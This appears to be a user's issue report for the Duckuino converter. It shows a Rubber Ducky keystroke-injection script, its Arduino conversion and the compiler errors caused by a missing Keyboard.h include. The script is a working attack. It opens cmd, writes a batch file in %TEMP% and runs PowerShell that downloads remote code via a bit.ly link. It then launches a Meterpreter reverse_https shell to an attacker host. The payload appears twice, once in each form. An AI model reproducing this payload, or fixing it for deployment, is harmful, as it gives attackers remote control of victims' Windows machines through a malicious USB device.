The original duckyscript code
DELAY 5000
GUI r
DELAY 500
STRING cmd
ENTER
STRING cd %TEMP%
ENTER
STRING copy con met.cmd
ENTER
STRING start C:/Windows/System32/Ribbons.scr /s
ENTER
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost <IP_ADDRESS> -Lport -Force"
ENTER
CTRL z
ENTER
DELAY 100
STRING met.cmd && exit
ENTER
The converted code
/* Converted by Duckuino:
type(KEY_LEFT_GUI,false);
type('R',false);
Keyboard.releaseAll();
delay(500);
print(F("CMD"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("CD %TEMP%"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("COPY CON MET.CMD"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("START C:/WINDOWS/SYSTEM32/RIBBONS.SCR /S"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("POWERSHELL "IEX (NEW-OBJECT NET.WEBCLIENT).DOWNLOADSTRING('HTTP://BIT.LY/14BZZ0C'); INVOKE-SHELLCODE -PAYLOAD WINDOWS/METERPRETER/REVERSE_HTTPS -LHOST <IP_ADDRESS> -LPORT -FORCE""));
type(KEY_RETURN,false);
Keyboard.releaseAll();
type(KEY_LEFT_CTRL,false);
type('Z',false);
Keyboard.releaseAll();
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(100);
print(F("MET.CMD && EXIT"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
Keyboard.press(key);
if(release)
Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
Keyboard.print(value);
}
void loop(){}
The compilation error:
C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void setup()':
sketch_aug02a:7: error: 'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
Keyboard.begin();
^
sketch_aug02a:10: error: 'KEY_LEFT_GUI' was not declared in this scope
type(KEY_LEFT_GUI,false);
sketch_aug02a:17: error: 'KEY_RETURN' was not declared in this scope
type(KEY_RETURN,false);
sketch_aug02a:40: error: 'KEY_LEFT_CTRL' was not declared in this scope
type(KEY_LEFT_CTRL,false);
C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void type(int, boolean)':
sketch_aug02a:55: error: 'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
Keyboard.press(key);
^
C:\Users\HaVoK\Documents\Arduino\sketch_aug02a\sketch_aug02a.ino: In function 'void print(const __FlashStringHelper*)':
sketch_aug02a:60: error: 'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
Keyboard.print(value);
^
exit status 1
'Keyboard' not found. Does your sketch include the line '#include <Keyboard.h>'?
*btw, thanks for fixing the previous issue so fast.